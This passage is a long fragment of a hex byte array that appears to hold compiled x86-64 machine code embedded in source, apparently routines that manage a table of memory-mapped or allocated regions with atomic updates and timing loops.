0xc3, 0xb8, 0x0b, 0x80, 0x6a, 0xc8, 0x48, 0x8b, 0x8c, 0x24, 0x20, 0x04, 0x00, 0x00, 0xe8, 0xf2, 0x26, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x38, 0x04, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x88, 0x0d, 0x62, 0x51, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x07, 0x48, 0xff, 0x25, 0x64, 0x40, 0x00, 0x00, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x58, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x89, 0x6c, 0x24, 0x68, 0x48, 0x89, 0x7c, 0x24, 0x78, 0x4c, 0x89, 0x64, 0x24, 0x50, 0x33, 0xdb, 0x4c, 0x89, 0x6c, 0x24, 0x48, 0x4c, 0x8d, 0x2d, 0x2a, 0x5a, 0x3d, 0x00, 0x4d, 0x8b, 0xe0, 0x8b, 0xfa, 0x48, 0x8b, 0xe9, 0x89, 0x5c, 0x24, 0x30, 0x4c, 0x8d, 0x0c, 0x9b, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0x33, 0xc0, 0xf0, 0x4b, 0x0f, 0xb1, 0x4c, 0xcd, 0x18, 0x74, 0x14, 0x8b, 0x5c, 0x24, 0x30, 0xff, 0xc3, 0x81, 0xfb, 0x50, 0xc3, 0x00, 0x00, 0x89, 0x5c, 0x24, 0x30, 0x72, 0xda, 0xeb, 0x04, 0x8b, 0x5c, 0x24, 0x30, 0x44, 0x8b, 0xc2, 0x48, 0x8d, 0x0d, 0x58, 0x2b, 0x00, 0x00, 0x8b, 0xd3, 0xe8, 0xb1, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0x0a, 0x2b, 0x00, 0x00, 0xba, 0x00, 0x9e, 0xff, 0x01, 0xe8, 0xa0, 0xfe, 0xff, 0xff, 0x81, 0xfb, 0x50, 0xc3, 0x00, 0x00, 0x0f, 0x83, 0xdb, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xad, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0xd5, 0xe8, 0x85, 0xfe, 0xff, 0xff, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x8b, 0xd7, 0x48, 0x8b, 0xcd, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0xd3, 0x3f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xf8, 0x0f, 0x84, 0x9a, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0x48, 0x89, 0x74, 0x24, 0x70, 0xff, 0x15, 0xb1, 0x3f, 0x00, 0x00, 0xb2, 0x01, 0x48, 0x8b, 0xcf, 0xff, 0x15, 0x9e, 0x3f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xf0, 0x75, 0x3b, 0x48, 0x8d, 0x0d, 0x17, 0x2a, 0x00, 0x00, 0xe8, 0x32, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xcf, 0xff, 0x15, 0x79, 0x3f, 0x00, 0x00, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x4c, 0x8b, 0x6c, 0x24, 0x48, 0x4c, 0x8b, 0x64, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x78, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x48, 0x8d, 0x0d, 0xac, 0x29, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0xe8, 0xf4, 0xfd, 0xff, 0xff, 0x44, 0x8b, 0xdb, 0x4b, 0x8d, 0x0c, 0x9b, 0x49, 0x89, 0x74, 0xcd, 0x18, 0x49, 0x89, 0x7c, 0xcd, 0x10, 0x49, 0x89, 0x6c, 0xcd, 0x08, 0x4d, 0x89, 0x64, 0xcd, 0x20, 0x8b, 0x47, 0x2c, 0x48, 0x81, 0xe6, 0x00, 0xf0, 0xff, 0xff, 0x48, 0x03, 0xc6, 0x49, 0x89, 0x44, 0xcd, 0x00, 0xeb, 0x9f, 0x48, 0x8d, 0x0d, 0x3e, 0x29, 0x00, 0x00, 0xe8, 0xb9, 0xfd, 0xff, 0xff, 0x33, 0xc0, 0xeb, 0x94, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x48, 0x89, 0x5c, 0x24, 0x48, 0x48, 0x89, 0x7c, 0x24, 0x20, 0x48, 0x8b, 0xf9, 0x41, 0x8b, 0xd8, 0x74, 0x23, 0x45, 0x85, 0xc0, 0x74, 0x1e, 0x48, 0x8b, 0xd1, 0x48, 0x8d, 0x0d, 0x68, 0x2a, 0x00, 0x00, 0x44, 0x8b, 0xc3, 0xe8, 0x70, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xff, 0x15, 0xd4, 0x3e, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x48, 0x8b, 0x5c, 0x24, 0x48, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x83, 0xec, 0x58, 0x48, 0x85, 0xc9, 0x48, 0x89, 0x68, 0xf0, 0x48, 0x89, 0x70, 0xe8, 0x4c, 0x89, 0x60, 0xd8, 0x49, 0x8b, 0xe9, 0x48, 0x8b, 0xf1, 0x45, 0x8b, 0xe0, 0x0f, 0x84, 0x5c, 0x01, 0x00, 0x00, 0x45, 0x85, 0xc0, 0x0f, 0x84, 0x53, 0x01, 0x00, 0x00, 0x48, 0x89, 0x58, 0xf8, 0x48, 0x89, 0x78, 0xe0, 0x48, 0x8b, 0xd1, 0x4c, 0x89, 0x68, 0xd0, 0x48, 0x8d, 0x0d, 0x1c, 0x2c, 0x00, 0x00, 0x45, 0x8b, 0xc4, 0x4c, 0x89, 0x70, 0xc8, 0xe8, 0xf0, 0xfc, 0xff, 0xff, 0x4c, 0x8d, 0x2d, 0x19, 0x58, 0x3d, 0x00, 0x45, 0x33, 0xf6, 0x49, 0x8b, 0xdd, 0x41, 0x8b, 0xfe, 0x4c, 0x8b, 0x03, 0x48, 0x8d, 0x0d, 0xa6, 0x2b, 0x00, 0x00, 0x4c, 0x8b, 0xce, 0x8b, 0xd7, 0xe8, 0xcc, 0xfc, 0xff, 0xff, 0x48, 0x3b, 0x6b, 0x20, 0x75, 0x05, 0x48, 0x3b, 0x33, 0x74, 0x13, 0xff, 0xc7, 0x48, 0x83, 0xc3, 0x28, 0x81, 0xff, 0x50, 0xc3, 0x00, 0x00, 0x72, 0xd3, 0xe9, 0xaa, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x47, 0x2b, 0x00, 0x00, 0x8b, 0xd7, 0xe8, 0xa0, 0xfc, 0xff, 0xff, 0x44, 0x8b, 0xdf, 0x4b, 0x8d, 0x1c, 0x9b, 0x4d, 0x39, 0x74, 0xdd, 0x10, 0x74, 0x30, 0x4d, 0x39, 0x74, 0xdd, 0x18, 0x74, 0x29, 0x48, 0x8d, 0x0d, 0xf4, 0x2a, 0x00, 0x00, 0xe8, 0x7f, 0xfc, 0xff, 0xff, 0x49, 0x8b, 0x54, 0xdd, 0x10, 0x49, 0x8b, 0x4c, 0xdd, 0x18, 0xff, 0x15, 0xe7, 0x3d, 0x00, 0x00, 0x49, 0x8b, 0x4c, 0xdd, 0x10, 0xff, 0x15, 0xb4, 0x3d, 0x00, 0x00, 0xeb, 0x0c, 0x48, 0x8d, 0x0d, 0x7b, 0x2a, 0x00, 0x00, 0xe8, 0x56, 0xfc, 0xff, 0xff, 0x4d, 0x39, 0x74, 0xdd, 0x08, 0x74, 0x1a, 0x48, 0x8d, 0x0d, 0x28, 0x2a, 0x00, 0x00, 0xe8, 0x43, 0xfc, 0xff, 0xff, 0x49, 0x8b, 0x4c, 0xdd, 0x08, 0x49, 0x8b, 0xd4, 0xff, 0x15, 0xa5, 0x3d, 0x00, 0x00, 0x49, 0x8b, 0x44, 0xdd, 0x18, 0x4d, 0x89, 0x74, 0xdd, 0x10, 0x4d, 0x89, 0x74, 0xdd, 0x08, 0x4d, 0x89, 0x74, 0xdd, 0x00, 0x4d, 0x89, 0x74, 0xdd, 0x20, 0xf0, 0x4d, 0x0f, 0xb1, 0x74, 0xdd, 0x18, 0x49, 0x8b, 0x54, 0xdd, 0x18, 0x48, 0x8d, 0x0d, 0x99, 0x29, 0x00, 0x00, 0xe8, 0x04, 0xfc, 0xff, 0xff, 0x4c, 0x8b, 0x6c, 0x24, 0x28, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x81, 0xff, 0x50, 0xc3, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x38, 0x75, 0x12, 0x48, 0x8d, 0x0d, 0x26, 0x29, 0x00, 0x00, 0x45, 0x8b, 0xc4, 0x48, 0x8b, 0xd6, 0xe8, 0xdb, 0xfb, 0xff, 0xff, 0x41, 0x8b, 0xc6, 0x4c, 0x8b, 0x74, 0x24, 0x20, 0x4c, 0x8b, 0x64, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x4c, 0x8b, 0x64, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x48, 0x89, 0x6c, 0x24, 0x48, 0x48, 0x89, 0x74, 0x24, 0x50, 0x4c, 0x89, 0x64, 0x24, 0x30, 0xb8, 0x1f, 0x85, 0xeb, 0x51, 0x48, 0x89, 0x5c, 0x24, 0x40, 0x44, 0x8b, 0xe1, 0xbe, 0xe8, 0x03, 0x00, 0x00, 0x48, 0x89, 0x7c, 0x24, 0x58, 0xf7, 0xe1, 0x8b, 0xea, 0xc1, 0xed, 0x04, 0x85, 0xed, 0x41, 0x8b, 0xdc, 0x74, 0x1b, 0x8b, 0xfd, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0xb9, 0x32, 0x00, 0x00, 0x00, 0xff, 0x15, 0x45, 0x3c, 0x00, 0x00, 0x83, 0xc3, 0xce, 0x48, 0xff, 0xcf, 0x75, 0xed, 0x85, 0xdb, 0x74, 0x08, 0x8b, 0xcb, 0xff, 0x15, 0x31, 0x3c, 0x00, 0x00, 0x48, 0xff, 0xce, 0x75, 0xcd, 0x4c, 0x8b, 0x64, 0x24, 0x30, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x05, 0x25, 0x4d, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x85, 0xa6, 0x00, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x89, 0x6c, 0x24, 0x38, 0x48, 0x89, 0x74, 0x24, 0x40, 0xff, 0x15, 0xe2, 0x3b, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x15, 0xda, 0x3b, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x30, 0xbe, 0xe8, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0x48, 0x89, 0x7c, 0x24, 0x48, 0xbb, 0x64, 0x00, 0x00, 0x00, 0x8d, 0x7b, 0x9e, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0xb9, 0x32, 0x00, 0x00, 0x00, 0xff, 0x15, 0xa5, 0x3b, 0x00, 0x00, 0x83, 0xc3, 0xce, 0x48, 0xff, 0xcf, 0x75, 0xed, 0x85, 0xdb, 0x74, 0x08, 0x8b, 0xcb, 0xff, 0x15, 0x91, 0x3b, 0x00, 0x00, 0x48, 0xff, 0xce, 0x75, 0xcc, 0x33, 0xc9, 0xff, 0x15, 0x8c, 0x3b, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x4c, 0x8b, 0xd8, 0x48, 0xb8, 0x47, 0x08, 0x8f, 0x36, 0x8e, 0x58, 0x8b, 0x4f, 0x4c, 0x2b, 0xdd, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x49, 0xf7, 0xe3, 0x4c, 0x2b, 0xda, 0x49, 0xd1, 0xeb, 0x4c, 0x03, 0xda, 0x49, 0xc1, 0xeb, 0x10, 0x4c, 0x89, 0x1d, 0x79, 0x4c, 0x00, 0x00, 0x49, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x58, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x89, 0x6c, 0x24, 0x68, 0x4c, 0x89, 0x6c, 0x24, 0x48, 0x4c, 0x89, 0x74, 0x24, 0x40, 0x4d, 0x8b, 0xe9, 0x45, 0x33, 0xc9, 0x4c, 0x89, 0x7c, 0x24, 0x38, 0x8b, 0xea, 0x44, 0x8b, 0xf9, 0x45, 0x8d, 0x51, 0x01, 0x4d, 0x8b, 0xf0, 0x41, 0x8b, 0xd9, 0xba, 0xff, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0x32, 0x4c, 0x00, 0x00, 0x66, 0x90, 0x8b, 0xc3, 0x4c, 0x8d, 0x04, 0x80, 0x4d, 0x03, 0xc0, 0x33, 0xc0, 0xf0, 0x46, 0x0f, 0xb1, 0x14, 0xc1, 0x74, 0x12, 0xff, 0xc3, 0x81, 0xfb, 0x50, 0xc3, 0x00, 0x00, 0x72, 0xe3, 0x49, 0x8b, 0xc1, 0xe9, 0xa7, 0x01, 0x00, 0x00, 0x81, 0xfb, 0x50, 0xc3, 0x00, 0x00, 0x73, 0xf0, 0x48, 0x89, 0x74, 0x24, 0x70, 0x48, 0x89, 0x7c, 0x24, 0x78, 0x4c, 0x89, 0x64, 0x24, 0x50, 0x45, 0x8d, 0x24, 0x2f, 0x41, 0x8b, 0xcc, 0x41, 0x8b, 0xfc, 0xff, 0x15, 0x34, 0x3b, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xf0, 0x0f, 0x84, 0x36, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xc7, 0x33, 0xd2, 0x48, 0x8b, 0xc8, 0xe8, 0x1b, 0x20, 0x00, 0x00, 0x44, 0x8b, 0xdb, 0x48, 0x8d, 0x1d, 0xc1, 0x4b, 0x00, 0x00, 0x4b, 0x8d, 0x3c, 0x9b, 0x48, 0x8b, 0xce, 0x48, 0x03, 0xff, 0x48, 0x89, 0x74, 0xfb, 0x08, 0x44, 0x89, 0x64, 0xfb, 0x2c, 0x89, 0x6c, 0xfb, 0x28, 0xff, 0x15, 0xa3, 0x3a, 0x00, 0x00, 0x85, 0xed, 0x4c, 0x8b, 0xd8, 0x48, 0x89, 0x44, 0xfb, 0x20, 0x74, 0x2c, 0x33, 0xd2, 0x48, 0xf7, 0xf5, 0x85, 0xd2, 0x74, 0x23, 0x48, 0x8b, 0x74, 0xfb, 0x08, 0x2b, 0xea, 0x48, 0x8d, 0x54, 0xfb, 0x18, 0x8b, 0xcd, 0x4a, 0x8d, 0x44, 0x1d, 0x00, 0x48, 0x03, 0xf1, 0x48, 0x8d, 0x4c, 0xfb, 0x10, 0x48, 0x89, 0x02, 0x48, 0x89, 0x31, 0xeb, 0x15, 0x48, 0x8b, 0x44, 0xfb, 0x08, 0x48, 0x8d, 0x54, 0xfb, 0x18, 0x48, 0x8d, 0x4c, 0xfb, 0x10, 0x4c, 0x89, 0x1a, 0x48, 0x89, 0x01, 0x4d, 0x85, 0xed, 0x74, 0x07, 0x48, 0x8b, 0x02, 0x49, 0x89, 0x45, 0x00, 0x4d, 0x85, 0xf6, 0x0f, 0x84, 0xcb, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x09, 0x33, 0xed, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x41, 0x8b, 0xd7, 0x48, 0x89, 0x6c, 0x24, 0x20, 0xff, 0x15, 0x60, 0x3a, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x89, 0x44, 0xfb, 0x30, 0x0f, 0x84, 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff, 0x15, 0x41, 0x3a, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0xfb, 0x30, 0xb2, 0x01, 0xff, 0x15, 0x2c, 0x3a, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x4c, 0x8b, 0xd8, 0x48, 0x89, 0x44, 0xfb, 0x38, 0x75, 0x1e, 0x48, 0x8d, 0x0d, 0xb0, 0x28, 0x00, 0x00, 0xe8, 0xbb, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x4c, 0xfb, 0x30, 0xff, 0x15, 0x00, 0x3a, 0x00, 0x00, 0x48, 0x89, 0x6c, 0xfb, 0x30, 0xeb, 0x63, 0x48, 0x8b, 0x44, 0xfb, 0x30, 0x4c, 0x89, 0x74, 0xfb, 0x48, 0x49, 0x81, 0xe3, 0x00, 0xf0, 0xff, 0xff, 0x8b, 0x58, 0x2c, 0x48, 0x8d, 0x05, 0xbe, 0x4a, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x37, 0x28, 0x00, 0x00, 0x49, 0x03, 0xdb, 0x48, 0x8b, 0xd3, 0x48, 0x89, 0x5c, 0xf8, 0x40, 0xe8, 0x77, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0xc3, 0xeb, 0x2f, 0x48, 0x8d, 0x0d, 0xdb, 0x27, 0x00, 0x00, 0xe8, 0x66, 0xf8, 0xff, 0xff, 0x48, 0x8d, 0x05, 0x8f, 0x4a, 0x00, 0x00, 0x44, 0x8b, 0xdb, 0x4b, 0x8d, 0x0c, 0x9b, 0x48, 0xc1, 0xe1, 0x04, 0x48, 0x03, 0xc8, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x33, 0xed, 0xf0, 0x0f, 0xb1, 0x29, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x7c, 0x24, 0x78, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x4c, 0x8b, 0x64, 0x24, 0x50, 0x4c, 0x8b, 0x7c, 0x24, 0x38, 0x4c, 0x8b, 0x74, 0x24, 0x40, 0x4c, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x48, 0x85, 0xc9, 0x4c, 0x8b, 0xca, 0x48, 0x8b, 0xd1, 0x74, 0x4c, 0x4d, 0x85, 0xc9, 0x48, 0x89, 0x7c, 0x24, 0x20, 0x75, 0x47, 0x33, 0xff, 0x4c, 0x8d, 0x05, 0x2e, 0x4a, 0x00, 0x00, 0x8b, 0xc7, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x41, 0x0f, 0x18, 0x88, 0xc0, 0x03, 0x00, 0x00, 0x49, 0x3b, 0x08, 0x74, 0x54, 0xff, 0xc0, 0x49, 0x83, 0xc0, 0x50, 0x3d, 0x50, 0xc3, 0x00, 0x00, 0x72, 0xe6, 0x48, 0x8d, 0x0d, 0xff, 0x27, 0x00, 0x00, 0xe8, 0xba, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x33, 0xff, 0x48, 0x8d, 0x0d, 0x1f, 0x4a, 0x00, 0x00, 0x8b, 0xc7, 0x66, 0x90, 0x66, 0x66, 0x90, 0x0f, 0x18, 0x89, 0xc0, 0x03, 0x00, 0x00, 0x4c, 0x3b, 0x09, 0x75, 0x06, 0x48, 0x3b, 0x51, 0xf8, 0x74, 0x0f, 0xff, 0xc0, 0x48, 0x83, 0xc1, 0x50, 0x3d, 0x50, 0xc3, 0x00, 0x00, 0x72, 0xe1, 0xeb, 0xb9, 0x3d, 0x50, 0xc3, 0x00, 0x00, 0x73, 0xb2, 0x48, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x8d, 0x1c, 0x80, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48, 0x8d, 0x35, 0x93, 0x49, 0x00, 0x00, 0x48, 0x03, 0xdb, 0x48, 0x83, 0x7c, 0xde, 0x08, 0x00, 0x74, 0x30, 0x4d, 0x85, 0xc9, 0x74, 0x20, 0x48, 0x8b, 0x54, 0xde, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x16, 0x48, 0x8b, 0x4c, 0xde, 0x38, 0xff, 0x15, 0xb6, 0x38, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0xde, 0x30, 0xff, 0x15, 0x83, 0x38, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0xde, 0x08, 0xff, 0x15, 0xb0, 0x38, 0x00, 0x00, 0x48, 0x89, 0x7c, 0xde, 0x18, 0x48, 0x89, 0x7c, 0xde, 0x10, 0x89, 0x7c, 0xde, 0x28, 0x89, 0x7c, 0xde, 0x2c, 0x48, 0x89, 0x7c, 0xde, 0x20, 0x48, 0x89, 0x7c, 0xde, 0x08, 0x48, 0x89, 0x7c, 0xde, 0x30, 0x48, 0x89, 0x7c, 0xde, 0x38, 0x48, 0x89, 0x7c, 0xde, 0x40, 0x48, 0x89, 0x7c, 0xde, 0x48, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0xb1, 0x3c, 0xde, 0x48, 0x8b, 0x74, 0x24, 0x28, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x8b, 0x44, 0x24, 0x60, 0x89, 0x44, 0x24, 0x28, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x4d, 0x8b, 0xc8, 0x45, 0x33, 0xc0, 0xe8, 0x74, 0xfc, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x48, 0x85, 0xc9, 0x74, 0x45, 0x48, 0x89, 0x7c, 0x24, 0x28, 0x33, 0xff, 0x48, 0x8d, 0x05, 0xc9, 0x48, 0x00, 0x00, 0x8b, 0xd7, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x0f, 0x18, 0x88, 0xc0, 0x03, 0x00, 0x00, 0x48, 0x3b, 0x08, 0x74, 0x27, 0xff, 0xc2, 0x48, 0x83, 0xc0, 0x50, 0x81, 0xfa, 0x50, 0xc3, 0x00, 0x00, 0x72, 0xe6, 0x48, 0x8b, 0xd1, 0x48, 0x8d, 0x0d, 0x9c, 0x26, 0x00, 0x00, 0xe8, 0x57, 0xf6, 0xff, 0xff, 0x48, 0x8b, 0x7c, 0x24, 0x28, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x81, 0xfa, 0x50, 0xc3, 0x00, 0x00, 0x73, 0xdf, 0x48, 0x89, 0x5c, 0x24, 0x58, 0x8b, 0xc2, 0x48, 0x89, 0x74, 0x24, 0x30, 0x48, 0x8d, 0x1c, 0x80, 0x48, 0x8d, 0x35, 0x5e, 0x48, 0x00, 0x00, 0x48, 0x03, 0xdb, 0x48, 0x8b, 0x4c, 0xde, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x15, 0xa3, 0x37, 0x00, 0x00, 0x48, 0x89, 0x7c, 0xde, 0x18, 0x48, 0x89, 0x7c, 0xde, 0x10, 0x89, 0x7c, 0xde, 0x28, 0x89, 0x7c, 0xde, 0x2c, 0x48, 0x89, 0x7c, 0xde, 0x20, 0x48, 0x89, 0x7c, 0xde, 0x08, 0x48, 0x89, 0x7c, 0xde, 0x30, 0x48, 0x89, 0x7c, 0xde, 0x38, 0x48, 0x89, 0x7c, 0xde, 0x40, 0x48, 0x89, 0x7c, 0xde, 0x48, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0xb1, 0x3c, 0xde, 0x48, 0x8b, 0x74, 0x24, 0x30, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0x48, 0x8b, 0x7c, 0x24, 0x28, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x48, 0x89, 0x6c, 0x24, 0x38, 0x48, 0x89, 0x7c, 0x24, 0x48, 0x4c, 0x89, 0x64, 0x24, 0x20, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xe8, 0x4c, 0x8b, 0xca, 0x48, 0x8b, 0xf9, 0x0f, 0x84, 0xae, 0x00, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x0f, 0x84, 0xa5, 0x00, 0x00, 0x00, 0x41, 0x8b, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x30, 0xbb, 0x04, 0x80, 0x6a, 0xc8, 0x85, 0xc0, 0x0f, 0x84, 0x8c, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x45, 0x33, 0xc0, 0x49, 0x8b, 0xc9, 0x48, 0x89, 0x74, 0x24, 0x40, 0xff, 0x15, 0x86, 0x37, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x8f, 0x26, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf0, 0xe8, 0x54, 0xf5, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x41, 0x4d, 0x85, 0xe4, 0x75, 0x14, 0x48, 0x8d, 0x0d, 0x33, 0x26, 0x00, 0x00, 0x48, 0x8b, 0xd6, 0x48, 0x89, 0x37, 0xe8, 0x38, 0xf5, 0xff, 0xff, 0xeb, 0x20, 0x8b, 0x55, 0x00, 0x4d, 0x8b, 0xc4, 0x48, 0x8b, 0xce, 0xe8, 0x08, 0xf6, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0xd1, 0x25, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x89, 0x07, 0xe8, 0x16, 0xf5, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x39, 0x07, 0x0f, 0x45, 0xd8, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x4c, 0x8b, 0x64, 0x24, 0x20, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x8b, 0xc3, 0xeb, 0xe3, 0x4c, 0x8b, 0x64, 0x24, 0x20, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x48, 0x89, 0x7c, 0x24, 0x48, 0x4c, 0x8b, 0xca, 0x48, 0x8b, 0xf9, 0x0f, 0x84, 0x82, 0x00, 0x00, 0x00, 0x4d, 